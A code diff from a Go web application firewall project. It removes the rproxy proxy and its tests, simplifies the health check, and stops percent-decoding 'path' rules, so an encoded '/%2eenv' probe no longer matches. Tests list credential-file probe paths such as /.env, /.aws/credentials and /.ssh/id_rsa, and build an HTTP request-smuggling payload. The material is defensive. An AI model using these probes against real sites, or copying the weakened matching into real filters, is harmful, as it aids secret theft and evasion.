func (rq *request) passToApp(ctx context.Context) {
maxBytes := rq.h.config.MaxRequestSize
switch {
case rq.refused.Load() != 0 || (maxBytes > 0 && rq.in.ContentLength > maxBytes):
rq.answer(http.StatusRequestEntityTooLarge)
case strings.HasPrefix(rq.in.URL.Path, adminPrefix):
rq.answer(http.StatusNotFound)
default:
rq.forward(ctx)
}
}
internal/rproxy/rproxy_test.go
-1758
View File
File diff suppressed because it is too large Load Diff
internal/rproxy/servewaf.go
-266
View File
@@ -1,266 +0,0 @@
package rproxy
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io"
"maps"
"net/http"
"strings"
"sneak.berlin/go/smallwebwaf/internal/proxy"
)
// answerBodyMaxBytes is the most of the body of servewaf's answer that is read.
// It is far above any answer's.
const answerBodyMaxBytes = 1 << 20
// reportAnswerMaxBytes is the most of the answer to a report that is read,
// which has no body when servewaf takes the report.
const reportAnswerMaxBytes = 4 << 10
var (
errCannotPassOn = errors.New("the answer cannot be passed to the visitor")
errReportRefused = errors.New("the report was answered")
)
// servewafAnswer is what servewaf answered to a question.
type servewafAnswer struct {
status int
header http.Header
body []byte
}
// noteAnswer notes what servewaf answered. An answer without a valid disposition
// notes nothing, and no report is due for it: servewaf holds no decision to report
// on.
func (rq *request) noteAnswer(answer *servewafAnswer) {
disposition := answer.header.Get(proxy.DispositionHeader)
switch disposition {
case proxy.DispositionAllow, proxy.DispositionDeny, proxy.DispositionClose:
rq.disposition = disposition
rq.answered = true
rq.asn = answer.header.Get(asnHeader)
rq.country = answer.header.Get(countryHeader)
}
}
// handleNoUsableAnswer deals with a request whose question ended in err, which
// leaves no answer to act on. ctx is the request's own context.
func (rq *request) handleNoUsableAnswer(ctx context.Context, err error) {
switch {
case ctx.Err() != nil:
// The visitor went away while servewaf was being asked. servewaf has not
// failed, and nothing is noted. This panic has Go's server close the
// connection without an answer, and log nothing; the deferred finish still
// runs.
panic(http.ErrAbortHandler)
case errors.Is(err, errCannotPassOn):
rq.h.processLog.Warn("servewaf's answer is dropped", "error", err.Error())
rq.answer(http.StatusBadGateway)
default:
// servewaf cannot be connected to, does not answer at all, or does not answer
// within SWRP_TIMEOUT_MS. A request that keeps servewaf busy past
// SWRP_TIMEOUT_MS, like any request while servewaf is overloaded, gets
// SWRP_DEFAULT_DISPOSITION here. deny closes this, at the cost of answering 503
// whenever servewaf is slow. Making such requests hard to send is
// https://git.eeqj.de/sneak/smallwebwaf/issues/182.
rq.h.processLog.Warn("servewaf gave no answer", "error", err.Error())
rq.disposition = rq.h.config.DefaultDisposition
rq.byDefault = true
if rq.disposition == proxy.DispositionAllow {
rq.passToApp(ctx)
} else {
rq.answer(http.StatusServiceUnavailable)
}
}
}
// ask sends servewaf the question, and returns its answer, which must have come
// whole within SWRP_TIMEOUT_MS. It ends when ctx does, as when the visitor goes
// away.
func (rq *request) ask(ctx context.Context) (*servewafAnswer, error) {
ctx, cancel := context.WithTimeout(ctx, rq.h.config.Timeout)
defer cancel()
question, err := rq.newQuestion(ctx)
if err != nil {
return nil, err
}
res, err := rq.h.serveWAFTransport.RoundTrip(question)
if err != nil {
return nil, fmt.Errorf("send the question: %w", err)
}
defer func() {
_ = res.Body.Close()
}()
// The body of a 101 is the connection itself, and the time limit does not end
// a read of that. Go's client also takes a status below 100, which Go's server
// panics when asked to send.
if res.StatusCode < http.StatusOK {
return nil, fmt.Errorf("%w: its status is %d", errCannotPassOn, res.StatusCode)
}
body, err := io.ReadAll(io.LimitReader(res.Body, answerBodyMaxBytes+1))
if err != nil {
return nil, fmt.Errorf("read the answer: %w", err)
}
if len(body) > answerBodyMaxBytes {
return nil, fmt.Errorf("%w: its body is over 1 MiB", errCannotPassOn)
}
return &servewafAnswer{res.StatusCode, res.Header, body}, nil
}
// canBeAsked reports whether Go's client can send servewaf r as the visitor sent
// it. It cannot send these as they came:
// - a target that does not start with /, or that starts with //;
// - an empty Host, for which it sends servewaf's own address;
// - a Host holding an IPv6 zone, which it removes;
// - more than one User-Agent, of which it sends the first;
// - an empty User-Agent, which it leaves out, the one case that still goes to
// servewaf.
func canBeAsked(r *http.Request) bool {
target, host := r.RequestURI, r.Host
hostHasZone := strings.HasPrefix(host, "[") && strings.Contains(host, "%")
return strings.HasPrefix(target, "/") && !strings.HasPrefix(target, "//") &&
host != "" && !hostHasZone && len(r.Header.Values("User-Agent")) <= 1
}
// newQuestion returns the question about the request, as "The question" in
// SPEC.md gives it: the visitor's request as the visitor sent it, with the part
// of the body it holds and rproxy's headers.
func (rq *request) newQuestion(ctx context.Context) (*http.Request, error) {
in := rq.in
var held []byte
if rq.body != nil {
held = rq.body.held
}
question, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
ctx, in.Method, rq.h.config.WAFBackend.String(), bytes.NewReader(held))
if err != nil {
return nil, fmt.Errorf("make the question: %w", err)
}
backend := question.URL
target := *in.URL
target.Scheme = backend.Scheme
target.Host = backend.Host
setPathAsSent(&target, in)
question.URL = &target
question.Host = in.Host
// The length NewRequestWithContext set is that of what is held. This line makes
// a body whose length the visitor did not announce go chunked, as "The question"
// in SPEC.md requires.
question.TransferEncoding = in.TransferEncoding
question.Header = in.Header.Clone()
question.Header.Set(proxy.ClientHeader, rq.client.String())
question.Header.Set(proxy.PeerHeader, rq.peer.String())
question.Header.Del(proxy.ContentLengthHeader)
announced := in.Header.Get("Content-Length")
if announced != "" {
question.Header.Set(proxy.ContentLengthHeader, announced)
}
question.Header.Set(requestIDHeader, rq.id)
question.Header.Set("X-Forwarded-Proto", scheme(in, rq.peerTrusted))
// Go's client adds a User-Agent of its own to a request without the key.
_, sent := question.Header["User-Agent"]
if !sent {
question.Header["User-Agent"] = nil
}
return question, nil
}
// answerWith gives the visitor servewaf's answer, less its disposition.
func (rq *request) answerWith(answer *servewafAnswer) {
rq.prepareOwnAnswer(rq.requestDeadline())
header := rq.out.Header()
maps.Copy(header, answer.header)
header.Del(proxy.DispositionHeader)
// Go's server adds a Content-Type it guesses from the body to a response whose
// headers have no Content-Type key. The key with no value sends none.
if header.Get("Content-Type") == "" {
header["Content-Type"] = nil
}
rq.send(answer.status, answer.body)
}
// sendReport sends servewaf report on a goroutine of its own, so that the
// visitor does not wait for it. The report goes on after ctx, the request's own
// context, has ended.
func (h *handler) sendReport(ctx context.Context, report *proxy.Report) {
h.reportsMu.Lock()
defer h.reportsMu.Unlock()
if h.reportsStopped {
return
}
h.reports.Go(func() {
err := h.postReport(context.WithoutCancel(ctx), report)
if err != nil {
h.processLog.Warn("a report is dropped", "error", err.Error())
}
})
}
// postReport posts report to servewaf, and waits for its answer for up to
// SWRP_TIMEOUT_MS.
func (h *handler) postReport(ctx context.Context, report *proxy.Report) error {
body, err := json.Marshal(report)
if err != nil {
return fmt.Errorf("encode the report: %w", err)
}
ctx, cancel := context.WithTimeout(ctx, h.config.Timeout)
defer cancel()
req, err := http.NewRequestWithContext( //nolint:gosec // a setting's URL
ctx, http.MethodPost, h.reportURL, bytes.NewReader(body))
if err != nil {
return fmt.Errorf("make the request: %w", err)
}
req.Header.Set("Content-Type", "application/json")
res, err := h.serveWAFTransport.RoundTrip(req)
if err != nil {
return fmt.Errorf("send the report: %w", err)
}
// The body of a 101 is the connection itself, and the time limit does not end
// a read of that.
if res.StatusCode >= http.StatusOK {
_, _ = io.Copy(io.Discard, io.LimitReader(res.Body, reportAnswerMaxBytes))
}
_ = res.Body.Close()
if res.StatusCode != http.StatusNoContent {
return fmt.Errorf("%w %s", errReportRefused, res.Status)
}
return nil
}
internal/rules/rules.go
+17 -34
View File
@@ -50,13 +50,6 @@ const quietTime = 2 * time.Second
// header:<Name>.
const headerTarget = "header:"
// pathTarget and uriTarget are the targets matched both as received and
// once percent-decoded: the path, and the path and query together.
const (
pathTarget = "path"
uriTarget = "uri"
)
// escapeLength is the length of a percent escape, such as %2e.
const escapeLength = 3
@@ -381,7 +374,7 @@ func parse(line string) (Rule, bool, error) {
// isTarget reports whether target is one a rule may have.
func isTarget(target string) bool {
switch target {
case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
case "path", "query", "uri", "method", "host", "user_agent", "referer":
return true
}
@@ -391,38 +384,28 @@ func isTarget(target string) bool {
}
// matches reports whether the rule's regex matches its target in r. For
// path and uri it is matched against the target as received, and against
// it once percent-decoded, so that an encoded probe cannot slip past.
// uri it is matched against the path and query as received, and against
// them once percent-decoded, so that an encoded probe cannot slip past.
func (rule Rule) matches(r *http.Request) bool {
target := value(rule.Target, r)
if rule.Target == "uri" {
uri := pathAndQuery(r)
if rule.Target == pathTarget || rule.Target == uriTarget {
return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
return rule.regex.MatchString(uri) || rule.regex.MatchString(decodeOnce(uri))
}
return rule.regex.MatchString(target)
return rule.regex.MatchString(value(rule.Target, r))
}
// Path returns r's path as the client sent it, before any decoding or
// re-encoding, up to the first ?: what a path rule is matched against, as
// it is and once percent-decoded.
func Path(r *http.Request) string {
path, _, _ := strings.Cut(pathAndQuery(r), "?")
return path
}
// value returns what a rule with target is matched against in r: the
// path, as Path gives it, the path and query, as pathAndQuery gives
// them, and the query as the client sent it, before any decoding or
// re-encoding, after the first ?, and a header's values joined by ", ",
// as HTTP joins those of a header sent more than once.
// value returns what a rule with target, other than uri, is matched
// against in r: the path and the query as the client sent them, before
// any decoding or re-encoding, split at the first ?, and a header's values
// joined by ", ", as HTTP joins those of a header sent more than once.
func value(target string, r *http.Request) string {
switch target {
case pathTarget:
return Path(r)
case uriTarget:
return pathAndQuery(r)
case "path":
path, _, _ := strings.Cut(pathAndQuery(r), "?")
return path
case "query":
_, query, _ := strings.Cut(pathAndQuery(r), "?")
@@ -474,11 +457,11 @@ func header(r *http.Request, name string) string {
return strings.Join(r.Header.Values(name), ", ")
}
// DecodeOnce returns s with each percent escape, such as %2e, replaced by
// decodeOnce returns s with each percent escape, such as %2e, replaced by
// the byte it stands for. A % that is not followed by two hex digits is
// left as it is, so that a malformed escape cannot keep the rest of s
// from being decoded.
func DecodeOnce(s string) string {
func decodeOnce(s string) string {
var decoded strings.Builder
for i := 0; i < len(s); i++ {
internal/rules/rules_test.go
+2 -4
View File
@@ -49,9 +49,7 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
want bool
}{
{"path as received", `path log ^/%2eenv$`, "/%2eenv", nil, true},
{"path decoded", `path log ^/\.env$`, "/%2Eenv", nil, true},
{"path decoded only once", `path log ^/\.env$`, "/%252eenv", nil, false},
{"path decoded without the query", `path log ^/a\?b$`, "/a%3fb?c", nil, true},
{"path not decoded", `path log ^/\.env$`, "/%2eenv", nil, false},
{"path without the query", `path log ^/a$`, "/a?b=c", nil, true},
{"query as received", `query log ^b=%2e$`, "/a?b=%2e", nil, true},
{"uri as received", `uri log ^/a\?b=%2e$`, "/a?b=%2e", nil, true},
@@ -420,7 +418,7 @@ func TestDefaultFileBansProbesAtTheSiteRootAlone(t *testing.T) {
// Probes sent by a browser, by the rule that refuses them.
for rule, targets := range map[string][]string{
"env-file": {"/.env", "/.env.production", "/.ENV", "/%2eenv"},
"env-file": {"/.env", "/.env.production", "/.ENV"},
"vcs-dir": {"/.git/config", "/.git", "/.svn/entries"},
"secrets-dir": {"/.aws/credentials", "/.ssh/id_rsa"},
"secret-file": {"/.htpasswd", "/.DS_Store", "/.git-credentials"},
internal/smallwebwaf/healthcheck.go
+21 -62
View File
@@ -17,16 +17,13 @@ import (
// healthCheckTimeout bounds the whole health check.
const healthCheckTimeout = 5 * time.Second
var errHealthEndpoint = errors.New("the health endpoint answered")
var errHealthEndpoint = errors.New("smallwebwaf's health endpoint answered")
// HealthCheck is the container's health check. In servewaf's container, where
// SMALLWEBWAF_COMMAND is servewaf, it returns 0 while servewaf answers its health
// endpoint on 127.0.0.1, at the port in SWWAF_LISTEN_ADDR. In rproxy's container,
// where SMALLWEBWAF_COMMAND is rproxy, unset or empty, it returns 0 while rproxy
// answers its health endpoint on 127.0.0.1, at the port in SWRP_LISTEN_ADDR, and
// the app accepts connections at the address in SWRP_UPSTREAM_URL. Otherwise,
// any other value of SMALLWEBWAF_COMMAND included, it writes why to stderr and
// returns 1. It reads no other setting, nor a file that another names, so neither
// HealthCheck is the container's health check. It returns 0 while
// smallwebwaf answers its health endpoint on 127.0.0.1, at the port in
// SWWAF_LISTEN_ADDR, and the app accepts connections at the address in
// SWWAF_UPSTREAM_URL. Otherwise it writes why to stderr and returns 1.
// It reads no other setting, nor a file that another names, so neither
// can fail it.
// args are the arguments after `healthcheck`; it takes none, and given
// one it names it on stderr and returns 1 without checking anything.
@@ -41,20 +38,7 @@ func HealthCheck(
return 1
}
ctx, cancel := context.WithTimeout(ctx, healthCheckTimeout)
defer cancel()
command, err := config.Command(lookupEnv)
switch {
case err != nil:
err = fmt.Errorf("invalid setting: %w", err)
case command == "servewaf":
err = checkServeWAF(ctx, lookupEnv)
default:
err = checkRProxyAndApp(ctx, lookupEnv)
}
err := healthCheck(ctx, lookupEnv)
if err != nil {
_, _ = fmt.Fprintln(stderr, "unhealthy:", err)
@@ -64,48 +48,16 @@ func HealthCheck(
return 0
}
// checkServeWAF asks servewaf's health endpoint.
func checkServeWAF(ctx context.Context, lookupEnv func(string) (string, bool)) error {
listenAddr, err := config.ServeWAFListenAddr(lookupEnv)
func healthCheck(ctx context.Context, lookupEnv func(string) (string, bool)) error {
ctx, cancel := context.WithTimeout(ctx, healthCheckTimeout)
defer cancel()
listenAddr, upstreamURL, err := config.ListenAddrAndUpstreamURL(lookupEnv)
if err != nil {
return fmt.Errorf("invalid setting: %w", err)
}
err = askHealthEndpoint(ctx, listenAddr)
if err != nil {
return fmt.Errorf("ask servewaf: %w", err)
}
return nil
}
// checkRProxyAndApp asks rproxy's health endpoint, and connects to the app.
func checkRProxyAndApp(
ctx context.Context, lookupEnv func(string) (string, bool),
) error {
listenAddr, upstreamURL, err := config.RProxyListenAddrAndUpstreamURL(lookupEnv)
if err != nil {
return fmt.Errorf("invalid setting: %w", err)
}
err = askHealthEndpoint(ctx, listenAddr)
if err != nil {
return fmt.Errorf("ask rproxy: %w", err)
}
conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(upstreamURL))
if err != nil {
return fmt.Errorf("connect to the app: %w", err)
}
_ = conn.Close()
return nil
}
// askHealthEndpoint asks the health endpoint on 127.0.0.1 at the port of
// listenAddr, which the settings have checked has one.
func askHealthEndpoint(ctx context.Context, listenAddr string) error {
// The settings have checked that the address has a port.
_, port, _ := net.SplitHostPort(listenAddr)
health := "http://" + net.JoinHostPort("127.0.0.1", port) + proxy.HealthPath
@@ -116,7 +68,7 @@ func askHealthEndpoint(ctx context.Context, listenAddr string) error {
res, err := http.DefaultClient.Do(req)
if err != nil {
return fmt.Errorf("send the request: %w", err)
return fmt.Errorf("ask smallwebwaf: %w", err)
}
_ = res.Body.Close()
@@ -125,6 +77,13 @@ func askHealthEndpoint(ctx context.Context, listenAddr string) error {
return fmt.Errorf("%w %s", errHealthEndpoint, res.Status)
}
conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(upstreamURL))
if err != nil {
return fmt.Errorf("connect to the app: %w", err)
}
_ = conn.Close()
return nil
}
internal/smallwebwaf/healthcheck_test.go
+22 -86
View File
@@ -15,26 +15,22 @@ import (
"sneak.berlin/go/smallwebwaf/internal/smallwebwaf"
)
const (
// commandSetting says which command a container runs, and which the health
// check checks.
commandSetting = "SMALLWEBWAF_COMMAND"
// serveWAFCommand is the command that runs servewaf.
serveWAFCommand = "servewaf"
)
func TestHealthCheckInServeWAFsContainer(t *testing.T) {
func TestHealthCheck(t *testing.T) {
t.Parallel()
app := httptest.NewServer(http.NotFoundHandler())
defer app.Close()
ctx, stop := context.WithCancel(t.Context())
defer stop()
out := &output{}
exited := make(chan int, 1)
settings := map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
listenAddr: localhost + ":0",
upstreamURL: app.URL,
stateDir: t.TempDir(),
rulesDir: t.TempDir(),
}
go func() {
@@ -43,36 +39,29 @@ func TestHealthCheckInServeWAFsContainer(t *testing.T) {
addr, _ := out.line(t, "msg", "starting")["address"].(string)
_, port, _ := net.SplitHostPort(addr)
// The container's settings: an address to listen on with an empty
// host part, which the health check asks at 127.0.0.1.
wantHealthCheck(t, map[string]string{
commandSetting: serveWAFCommand, listenAddr: ":" + port,
}, 0, "")
env := map[string]string{listenAddr: ":" + port, upstreamURL: app.URL}
// The health check reads that setting alone, here given as a file: a removed
// or invalid token file, or an invalid value of another setting, does not
// fail it.
wantHealthCheck(t, env, 0, "")
// The health check reads those two settings alone, here given as
// files: a removed or invalid token file, or an invalid value of
// another setting, does not fail it.
for _, other := range []struct{ name, value string }{
{"SWWAF_METRICS_TOKEN_FILE", filepath.Join(t.TempDir(), "removed")},
{"SWWAF_METRICS_TOKEN_FILE", writeFile(t, "too short\n")},
{"SWWAF_MODE", "neither"},
} {
wantHealthCheck(t, map[string]string{
commandSetting: serveWAFCommand,
listenAddr + "_FILE": writeFile(t, ":"+port+"\n"),
other.name: other.value,
listenAddr + "_FILE": writeFile(t, ":"+port+"\n"),
upstreamURL + "_FILE": writeFile(t, app.URL+"\n"),
other.name: other.value,
}, 0, "")
}
// Listening on port 0 takes any free port, so nothing listens on port 0
// itself.
wantHealthCheck(t, map[string]string{
commandSetting: serveWAFCommand, listenAddr: ":0",
}, 1, "unhealthy: ask servewaf: ")
wantHealthCheck(t, map[string]string{
commandSetting: serveWAFCommand, listenAddr: "8080",
}, 1, "unhealthy: invalid setting: SWWAF_LISTEN_ADDR: ")
app.Close()
wantHealthCheck(t, env, 1, "unhealthy: connect to the app: ")
stop()
@@ -81,63 +70,10 @@ func TestHealthCheckInServeWAFsContainer(t *testing.T) {
case <-time.After(waitLimit):
t.Fatal("still running after being told to stop")
}
}
func TestHealthCheckInRProxysContainer(t *testing.T) {
t.Parallel()
app := httptest.NewServer(http.NotFoundHandler())
defer app.Close()
// Nothing listens at the backend. The health check asks rproxy and the app,
// whether or not servewaf answers.
site, _ := startRProxy(t, "http://127.0.0.1:9", app.URL)
_, port, _ := net.SplitHostPort(strings.TrimPrefix(site, "http://"))
settings := func(more ...string) map[string]string {
env := map[string]string{rproxyListenAddr: ":" + port, rproxyUpstreamURL: app.URL}
for i := 0; i < len(more); i += 2 {
env[more[i]] = more[i+1]
}
return env
}
wantHealthCheck(t, settings(), 0, "")
wantHealthCheck(t, settings(commandSetting, ""), 0, "")
wantHealthCheck(t, settings(commandSetting, "rproxy"), 0, "")
// SMALLWEBWAF_COMMAND cannot be given as a file.
wantHealthCheck(t, settings(commandSetting+"_FILE", writeFile(t, "servewaf\n")),
0, "")
// Another setting does not fail it, even an invalid one, and neither does
// SWRP_WAF_BACKEND being unset.
wantHealthCheck(t, settings("SWRP_TIMEOUT_MS", "soon"), 0, "")
// Another test can take a closed server's port at once, so the app's
// address here is a multicast address, to which TCP cannot connect.
wantHealthCheck(t, settings(rproxyUpstreamURL, "http://224.0.0.1"), 1,
"unhealthy: connect to the app: ")
// Listening on port 0 takes any free port, so nothing listens on port 0
// itself.
wantHealthCheck(t, settings(rproxyListenAddr, ":0"), 1, "unhealthy: ask rproxy: ")
wantHealthCheck(t, settings(rproxyListenAddr, "8080"), 1,
"unhealthy: invalid setting: SWRP_LISTEN_ADDR: ")
// No setting of rproxy's has a form given as a file.
wantHealthCheck(t, map[string]string{
rproxyListenAddr + "_FILE": writeFile(t, ":"+port+"\n"),
rproxyUpstreamURL: app.URL,
}, 1, "unhealthy: ask rproxy: ")
}
func TestHealthCheckFailsWithAnyOtherCommand(t *testing.T) {
t.Parallel()
wantHealthCheck(t, map[string]string{commandSetting: "healthcheck"}, 1,
"unhealthy: invalid setting: SMALLWEBWAF_COMMAND: "+
"\"healthcheck\" is not rproxy or servewaf\n")
wantHealthCheck(t, env, 1, "unhealthy: ask smallwebwaf: ")
wantHealthCheck(t, map[string]string{listenAddr: "8080"}, 1,
"unhealthy: invalid setting: SWWAF_LISTEN_ADDR: ")
}
func TestHealthCheckRefusesAnArgument(t *testing.T) {
internal/smallwebwaf/rproxy.go
-99
View File
@@ -1,99 +0,0 @@
package smallwebwaf
import (
"context"
"errors"
"log/slog"
"net"
"net/http"
"os"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rproxy"
)
// RunRProxy is `smallwebwaf rproxy`: it reads rproxy's settings, then serves
// requests until ctx is done. Then it gives the requests in progress
// shutdownTimeout to finish, and the reports being sent SWRP_TIMEOUT_MS. It
// returns the process's exit status, 1 when rproxy cannot start. Its process
// messages name the host's name as instance, and it writes those at info or
// more severe: rproxy has no setting for either.
func RunRProxy(ctx context.Context, params Params) int {
hostname, _ := os.Hostname() // "" when the host has no name to give
processLog := requestlog.NewProcessLogger(params.Stdout, hostname, slog.LevelInfo)
cfg, err := config.RProxyFromEnvironment(params.LookupEnv)
if err != nil {
processLog.Error("invalid setting", "error", err.Error())
return 1
}
server := rproxy.New(rproxy.Params{
Config: cfg,
RequestLog: params.Stdout,
ProcessLog: processLog,
})
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
if err != nil {
processLog.Error("cannot listen on SWRP_LISTEN_ADDR", "error", err.Error())
return 1
}
processLog.Info("starting",
"version", params.Version,
"address", listener.Addr().String(),
"settings", cfg)
return serveRProxy(ctx, server, listener, processLog)
}
// serveRProxy serves requests on listener until ctx is done, and then stops as
// RunRProxy says.
func serveRProxy(
ctx context.Context, server *rproxy.Server, listener net.Listener,
processLog *slog.Logger,
) int {
served := make(chan error, 1)
go func() {
served <- server.Serve(listener)
}()
select {
case err := <-served:
processLog.Error("serving failed", "error", err.Error())
return 1
case <-ctx.Done():
}
processLog.Info("stopping")
shutdownCtx, cancel := context.WithTimeout(context.WithoutCancel(ctx),
shutdownTimeout)
defer cancel()
err := server.Shutdown(shutdownCtx)
if err != nil {
processLog.Warn("requests still in progress were cut off",
"error", err.Error())
_ = server.Close()
}
err = <-served
if !errors.Is(err, http.ErrServerClosed) {
processLog.Error("serving failed", "error", err.Error())
return 1
}
server.WaitForReports()
processLog.Info("stopped")
return 0
}
internal/smallwebwaf/rproxy_test.go
-789
View File
@@ -1,789 +0,0 @@
package smallwebwaf_test
import (
"bufio"
"context"
"encoding/pem"
"io"
"maps"
"net"
"net/http"
"net/http/httptest"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"sync/atomic"
"syscall"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/smallwebwaf"
)
const (
// wafBackend is the setting that names servewaf to rproxy.
wafBackend = "SWRP_WAF_BACKEND"
// rproxyListenAddr is the setting that says where rproxy listens.
rproxyListenAddr = "SWRP_LISTEN_ADDR"
// rproxyUpstreamURL is the setting that says where the app is.
rproxyUpstreamURL = "SWRP_UPSTREAM_URL"
// rproxyTimeout is the setting that says how long rproxy waits for servewaf.
rproxyTimeout = "SWRP_TIMEOUT_MS"
// bannedProbe is a path the default rule file bans a client for.
bannedProbe = "/.env"
// otherClient is a client the tests do not ban.
otherClient = "198.51.100.7"
)
// runRProxy runs `smallwebwaf rproxy` with the settings in env until ctx is
// done, and returns its exit status.
func runRProxy(ctx context.Context, env map[string]string, out *output) int {
return smallwebwaf.RunRProxy(ctx, smallwebwaf.Params{
Version: testVersion,
LookupEnv: func(name string) (string, bool) {
value, ok := env[name]
return value, ok
},
Stdout: out,
})
}
// startRProxy runs rproxy with servewaf at backend and the app at appURL, and
// returns its URL and what it writes. It believes X-Forwarded-For from the
// tests. It stops as the test ends, and that it stopped in order is checked.
func startRProxy(t *testing.T, backend, appURL string) (string, *output) {
t.Helper()
ctx, stop := context.WithCancel(t.Context())
out := &output{}
exited := make(chan int, 1)
go func() {
exited <- runRProxy(ctx, map[string]string{
rproxyListenAddr: localhost + ":0",
"SWRP_UPSTREAM_URL": appURL,
"SWRP_TRUSTED_PROXIES": localhost + "/32",
wafBackend: backend,
}, out)
}()
t.Cleanup(func() {
stop()
select {
case status := <-exited:
if status != 0 {
t.Errorf("rproxy's exit status %d, want 0; output:\n%s", status, out.text())
}
case <-time.After(waitLimit):
t.Error("rproxy still running after being told to stop")
}
out.line(t, "msg", "stopped")
})
addr, _ := out.line(t, "msg", "starting")["address"].(string)
return "http://" + addr, out
}
// startServeWAF runs servewaf with the settings in env, and returns its address
// and URL, what it writes, and what stops it, which checks that it stopped in
// order.
func startServeWAF(t *testing.T, env map[string]string) (string, *output, func()) {
t.Helper()
ctx, stop := context.WithCancel(t.Context())
out := &output{}
exited := make(chan int, 1)
go func() {
exited <- run(ctx, env, out)
}()
addr, _ := out.line(t, "msg", "starting")["address"].(string)
return addr, out, func() {
stop()
select {
case status := <-exited:
if status != 0 {
t.Fatalf("servewaf's exit status %d, want 0; output:\n%s", status, out.text())
}
case <-time.After(waitLimit):
t.Fatal("servewaf still running after being told to stop")
}
}
}
// serveWAFSettings are servewaf's settings with the default rule file, to listen
// at any free port.
func serveWAFSettings(t *testing.T) map[string]string {
t.Helper()
return map[string]string{
listenAddr: localhost + ":0",
stateDir: t.TempDir(),
rulesDir: filepath.Join("..", "..", "share", "rules.d"),
}
}
func TestABanThroughOneSiteRefusesTheClientOnTheOther(t *testing.T) {
t.Parallel()
addr, serveWAFOut, stop := startServeWAF(t, serveWAFSettings(t))
defer stop()
backend := "http://" + addr
first, firstOut := startRProxy(t, backend, startApp(t))
second, _ := startRProxy(t, backend, startApp(t))
wantStatus(t, first+"/", placed, http.StatusOK)
wantStatus(t, second+"/", placed, http.StatusOK)
// The default rule file bans a probe for this.
wantStatus(t, first+bannedProbe, placed, http.StatusForbidden)
wantStatus(t, second+"/", placed, http.StatusForbidden)
wantStatus(t, second+"/", otherClient, http.StatusOK)
// One request's three lines carry one id, rproxy's with servewaf's answer.
line := firstOut.line(t, "path", bannedProbe)
if line["disposition"] != proxy.DispositionDeny || line["client_ip"] != placed {
t.Errorf("rproxy's line is %v", line)
}
id, _ := line["request_id"].(string)
decision := serveWAFLine(t, serveWAFOut, id, "decision")
report := serveWAFLine(t, serveWAFOut, id, "report")
if decision["host"] != line["host"] || decision["client_ip"] != placed ||
report["status"] != float64(http.StatusForbidden) {
t.Errorf("servewaf's lines are %v and %v", decision, report)
}
}
// serveWAFLine waits for servewaf's line with request id and servewaf_line kind.
func serveWAFLine(t *testing.T, out *output, id, kind string) map[string]any {
t.Helper()
deadline := time.Now().Add(waitLimit)
for time.Now().Before(deadline) {
line := out.findLine(t, func(fields map[string]any) bool {
return fields["request_id"] == id && fields["servewaf_line"] == kind
})
if line != nil {
return line
}
time.Sleep(pollInterval)
}
t.Fatalf("no %s line for %s in:\n%s", kind, id, out.text())
return nil
}
func TestTheSiteAnswersWhileServeWAFIsStoppedAndStartedAgain(t *testing.T) {
t.Parallel()
env := serveWAFSettings(t)
addr, _, stop := startServeWAF(t, env)
site, out := startRProxy(t, "http://"+addr, startApp(t))
// A visitor who keeps asking throughout, and is never refused.
visitorDone := make(chan struct{})
visitorStop := make(chan struct{})
var refused atomic.Int64
go func() {
defer close(visitorDone)
for {
select {
case <-visitorStop:
return
case <-time.After(pollInterval):
}
if !answersNormally(t.Context(), site+"/", otherClient) {
refused.Add(1)
}
}
}()
wantStatus(t, site+bannedProbe, placed, http.StatusForbidden)
wantStatus(t, site+"/", placed, http.StatusForbidden)
stop()
// With servewaf down, the site answers, and rproxy says the default did it.
wantStatus(t, site+"/after-stop", placed, http.StatusOK)
line := out.line(t, "path", "/after-stop")
if line["disposition"] != proxy.DispositionAllow ||
line["default_disposition"] != true {
t.Errorf("rproxy's line is %v", line)
}
// Back at its address, with its state files, it applies the ban again.
restarted := maps.Clone(env)
restarted[listenAddr] = addr
_, _, stop = startServeWAF(t, restarted)
defer stop()
wantStatus(t, site+"/", placed, http.StatusForbidden)
close(visitorStop)
<-visitorDone
if refused.Load() != 0 {
t.Errorf("the site refused its visitor %d times", refused.Load())
}
}
// answersNormally reports whether a request to url from the client at from, as
// X-Forwarded-For names it, gets the app's answer.
func answersNormally(ctx context.Context, url, from string) bool {
req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, http.NoBody)
if err != nil {
return false
}
req.Header.Set("X-Forwarded-For", from)
transport := &http.Transport{}
defer transport.CloseIdleConnections()
res, err := transport.RoundTrip(req)
if err != nil {
return false
}
body, err := io.ReadAll(res.Body)
_ = res.Body.Close()
return err == nil && res.StatusCode == http.StatusOK && string(body) == greeting
}
// sendRaw sends request, as it is, to rproxy at site, and returns the status of
// the answer.
func sendRaw(t *testing.T, site, request string) int {
t.Helper()
conn, err := (&net.Dialer{}).DialContext(t.Context(), "tcp",
strings.TrimPrefix(site, "http://"))
if err != nil {
t.Fatalf("dial: %v", err)
}
defer func() {
_ = conn.Close()
}()
err = conn.SetDeadline(time.Now().Add(waitLimit))
if err != nil {
t.Fatalf("set the deadline: %v", err)
}
_, err = io.WriteString(conn, request)
if err != nil {
t.Fatalf("send: %v", err)
}
res, err := http.ReadResponse(bufio.NewReader(conn), nil)
if err != nil {
t.Fatalf("read the answer: %v", err)
}
_ = res.Body.Close()
return res.StatusCode
}
func TestAChunkedBodyStaysABodyAtServeWAF(t *testing.T) {
t.Parallel()
addr, serveWAFOut, stop := startServeWAF(t, serveWAFSettings(t))
defer stop()
site, _ := startRProxy(t, "http://"+addr, startApp(t))
// Read as a further request, this body would ban otherClient on every site.
const smuggledID = "smuggled-request"
smuggled := "GET " + bannedProbe + " HTTP/1.1\r\nHost: site.example\r\n" +
proxy.ClientHeader + ": " + otherClient + "\r\n" +
